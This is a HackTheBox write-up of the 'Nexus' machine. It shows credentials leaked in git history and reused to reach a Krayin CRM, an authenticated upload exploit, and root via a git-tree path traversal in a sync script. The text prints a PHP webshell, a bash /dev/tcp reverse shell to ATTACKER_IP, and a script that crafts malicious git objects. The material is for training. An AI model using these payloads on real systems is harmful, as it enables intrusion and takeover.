nexus.md

Nexus - HackTheBox

Nexus shows up as the single-page site of an energy company, but a vhost scan reveals a much larger attack surface hiding behind it: a CRM instance and its own Gitea repository. The chain is a good reminder that "one page, nothing to see" is rarely the whole story - the real entry point is what a subdomain enumeration turns up, and the real privilege escalation lives in a custom automation script nobody thought to sandbox properly.

Recon

A version and script scan against the target keeps things simple: only two ports are open, SSH and an nginx front end serving the corporate landing page.

nmap 10.129.89.193 -sV -sC
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority - Powering the Nation's Future

The page itself is a static single scroll: a hero section, some marketing copy, and a "Join our team" link at the bottom that opens a mailto: to a manager's address, j.matthew@nexus.htb - noted for later, since a valid email is always useful once credentials start turning up. There's no internal navigation to speak of, so a directory brute-force on the main vhost is tried first:

gobuster vhost -u http://nexus.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt

This comes back empty - the page really is just one page. Since there's nothing more to find underneath nexus.htb, the next move is to look beside it, fuzzing for other virtual hosts sharing the same domain:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://nexus.htb/ -H 'Host: FUZZ.nexus.htb' -fs 154
billing                 [Status: 302, Size: 390, Words: 60, Lines: 12]
git                     [Status: 200, Size: 14472, Words: 1195, Lines: 242]

Two vhosts appear: billing and git. Both are added to /etc/hosts so they resolve locally:

sudo nano /etc/hosts

billing.nexus.htb turns out to be the login page of Krayin, an open-source CRM built on PHP/Laravel - no version banner visible yet. git.nexus.htb is more interesting: a Gitea instance, and browsing it turns up the CRM's own source repository. Having the application's actual source and history available is a huge advantage over blind-boxing a CRM login, so that's where to dig next.

Foothold - Leaked DB Password via Git History

Inside the repository there's a .env file and the Docker Compose definition used to run the CRM - both expected, both interesting on their own. What really matters, though, turns up in the most recent commit: a diff that rotates the database password, which means the previous value is sitting in plain text in the commit history:

- DB_PASSWORD=N27xh!!2ucY04
+ DB_PASSWORD=

A rotated secret is only actually rotated if the old one stops being valid everywhere it was used - and here it wasn't. The same password works to authenticate into the Krayin CRM itself, using the manager's email address found earlier on the main site as the username:

  • Username: j.matthew@nexus.htb
  • Password: N27xh!!2ucY04

This lands inside the CRM as an authenticated user - the database credential and the application login had been reused across two different systems.

RCE - Krayin CRM Authenticated Exploit

The CRM's version isn't displayed anywhere obvious like a footer or a login screen; it eventually turns up by clicking into the user's own profile page, which reports version 2.20. A search on Sploitus for known issues around that release turns up a public exploit:

Krayin CRM v2.2.x - Authenticated Remote Code Execution

The exploit script takes a target URL, valid credentials, and a local file to upload. A minimal PHP webshell is prepared first:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

and handed to the exploit, which authenticates as the manager and abuses the vulnerable upload path to drop it on the server:

python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -f shell.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/f4b5c6ae6d97d16d43e81ba59f6e39cf.php

The returned path confirms the shell landed under Krayin's TinyMCE storage directory and is reachable directly over HTTP. To get an interactive session instead of one-shot ?cmd= calls, a second payload is uploaded the same way - a small PHP snippet that tries system, exec, and shell_exec in turn until one of them is available, and uses whichever works to call back to a listener:

<?php
$ip = 'ATTACKER_IP';
$port = 4444;

if(function_exists('system')) {
    system("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
} elseif(function_exists('exec')) {
    exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
} elseif(function_exists('shell_exec')) {
    shell_exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
}
?>

With a listener running,

nc -lvnp 4444

and the exploit re-run against the reverse-shell payload, hitting the returned URL delivers a connection back as www-data:

connect to [10.10.14.75] from (UNKNOWN) [10.129.89.193] 48914
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell

The shell is upgraded to a proper interactive TTY with the classic script trick, which keeps job control and signal handling from getting in the way during the rest of the enumeration:

script /dev/null -c /bin/bash

Lateral Movement - Reusing Credentials for jones

/home lists two real users beyond www-data:

ls -la /home
drwxr-x---  2 git   git   4096 May 12 12:27 git
drwxr-x---  3 jones jones 4096 May 12 12:26 jones

Neither directory is readable yet, so the search goes back to secrets on disk. Rather than assuming the git-leaked password is the only one in play, a filesystem-wide search for other .env files is worth running, since the live application almost certainly has its own current configuration separate from what's in git history:

find / -name "*.env" -type f 2>/dev/null

This finds /var/www/krayin/.env, the CRM's actual runtime configuration, which contains a different database password from the one recovered via git:

DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

Trying to log into MySQL confirms which of the two passwords is actually current - the old, git-leaked one is rejected, while the fresh one from .env works:

mysql -u krayin -p
Enter password: N27xh!!2ucY04
ERROR 1045 (28000): Access denied for user 'krayin'@'localhost' (using password: YES)

Enter password: y27xb3ha!!74GbR
Welcome to the MySQL monitor. [...]

Once inside, a normal enumeration pass confirms where things stand before digging for anything specific - which database is active, and what tables it holds:

select database();
show databases;
use krayin;
show tables;

The krayin schema is the CRM's own data, so the users table is the obvious place to look for more credentials. describe first, to see what columns are actually there before pulling rows blind:

describe users;
SELECT * FROM users \G;
name: james
email: j.matthew@nexus.htb
password: $2y$10$ez0AouNyeP4NmwjLSV5vCOAJxMLi.6fCKmGC3M6Ve5xJmWJOLRJ5i

That's a bcrypt hash, and cracking it would need time and a good wordlist

  • worth kicking off in the background:
echo '$2y$10$ez0AouNyeP4NmwjLSV5vCOAJxMLi.6fCKmGC3M6Ve5xJmWJOLRJ5i' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

But while that runs, it's worth testing the pattern that's already shown up twice - credentials get reused across systems on this box. The current .env database password is tried directly against the jones system account, without waiting for the crack to finish, and it works:

su jones

Password reuse strikes a third time, and the user flag is in hand without ever needing the cracked hash.

Privilege Escalation - Git Tree Path Traversal in a Root-Run Sync Script

The usual quick wins come up empty. sudo -l only reveals that jones isn't allowed to run anything as another user at all:

sudo -l
Sorry, user jones may not run sudo on nexus.

SUID binaries are all standard system utilities, nothing custom:

find / -perm -4000 -type f 2>/dev/null
/usr/bin/gpasswd  /usr/bin/mount  /usr/bin/passwd
/usr/bin/su       /usr/bin/sudo   /usr/bin/chsh
...

World-writable files and cron jobs are equally uninteresting - everything under /etc/cron.d and /etc/cron.hourly is owned by root and not writable by jones:

find / -writable -type f 2>/dev/null | grep -v /proc | grep -v /sys | grep -v /dev
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/

With the static enumeration exhausted, the next place to check is what's actually running rather than what's scheduled or SUID:

systemctl list-units --type=service --state=running

Among the usual system daemons, Gitea stands out as a running service tied to the git.nexus.htb vhost seen earlier:

ps aux | grep gitea
git   1436  /usr/local/bin/gitea web --config /etc/gitea/app.ini

app.ini itself is not readable by jones:

cat /etc/gitea/app.ini
cat: /etc/gitea/app.ini: Permission denied

But Gitea services on this kind of box are often paired with periodic automation, so it's worth checking for related systemd timers directly rather than only the running units:

systemctl cat gitea-template-sync.timer
systemctl cat gitea-template-sync.service
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

That's the finding that matters: a timer fires every minute, running a Python script as root. The script itself is world-readable even though the Gitea config next to it isn't:

ls -la /etc/gitea/
-rw-r-----   1 git  git  1586 May 12 18:37 app.ini
-rw-r--r--   1 git  git  4184 May 11 18:47 template-sync.py

Reading template-sync.py shows its job is to pull a git repository and sync its contents onto disk somewhere - but instead of shelling out to git checkout or git archive (which sanitize paths for you), it walks the repository's tree objects itself, reading raw git internals and writing files based on whatever names those tree entries contain. That detail - trusting entry names instead of validating them - is the whole vulnerability.

Why this is exploitable: git's object model has no built-in path safety

A git repository, stripped down to its plumbing, is just a content-addressed key-value store. Every blob (file content), tree (directory listing), and commit is compressed with zlib and stored under .git/objects/xx/yyyy..., named by the SHA-1 hash of a small header plus the object's own content - "<type> <length>\x00<data>". A tree object is nothing more than a list of (mode, name, sha) entries pointing at blobs or other trees; git itself never validates that a tree entry's name is a sane, contained path component. Normal tooling like git checkout happens to write those names safely, but a script that manually resolves tree entries into filesystem paths - as template-sync.py does - inherits that assumption without the safety net.

That gap is exploited by hand-crafting a repository instead of using git add/git commit at all. A small script builds the loose objects directly:

def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00"
    s = h + data
    sha = hashlib.sha1(s).hexdigest()
    d = os.path.join(".git", "objects", sha[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        open(p, "wb").write(zlib.compress(s))
    return sha

def entry(mode, name, sha):
    return mode.encode() + b" " + name.encode() + b"\x00" + bytes.fromhex(sha)

Using those two primitives, the payload is assembled bottom-up: a blob holding the public half of a freshly generated SSH keypair, wrapped in a tree entry named authorized_keys inside a tree named .ssh, inside a tree named root. The part that actually breaks out of the sandbox is this loop, which nests the whole thing inside several tree entries named ..:

for i in range(4):
    cur = write_obj(entry("40000", "..", cur) + entry("40000", "..", fir), "tree")

Each .. entry is a completely valid tree object as far as git's object format is concerned - there's nothing malformed about it. But when template-sync.py walks this tree and joins each entry's name onto its output path without checking for .. components, four nested .. entries are enough to walk back out of whatever sync directory the script intended to write into and land inside /root/.ssh instead. The objects are wrapped in a commit and pointed to by refs/heads/main, so the crafted repository looks like an entirely ordinary git history from the outside.

An SSH keypair is generated locally to embed the public key in that blob:

ssh-keygen -t ed25519 -f /tmp/.k -N ''

Once this repository is where the sync job picks it up, the next timer tick - root, every 60 seconds - walks the tree, resolves the .. entries, and writes the attacker's public key straight into /root/.ssh/authorized_keys. From the attacking machine, the matching private key logs straight in:

chmod 600 /tmp/nexus_key
ssh -i /tmp/nexus_key root@nexus.htb
root@nexus:~# whoami
root
root@nexus:~# cat root.txt

Conclusion

Nexus is really two chains stitched together, and neither one is exotic on its own. The foothold is a very ordinary web story: a credential leaked in git history, reused across a database and a CRM login, feeding a known authenticated RCE. Root is a less ordinary one: a well-intentioned automation script became a privilege escalation because it reimplemented a piece of git's plumbing - walking tree objects by hand - without reproducing the path safety that the real git checkout provides for free. The common thread, once again, is that trusting input you don't control - whether it's a login form, a stale password, or the internal structure of a git repository - is exactly what an attacker needs.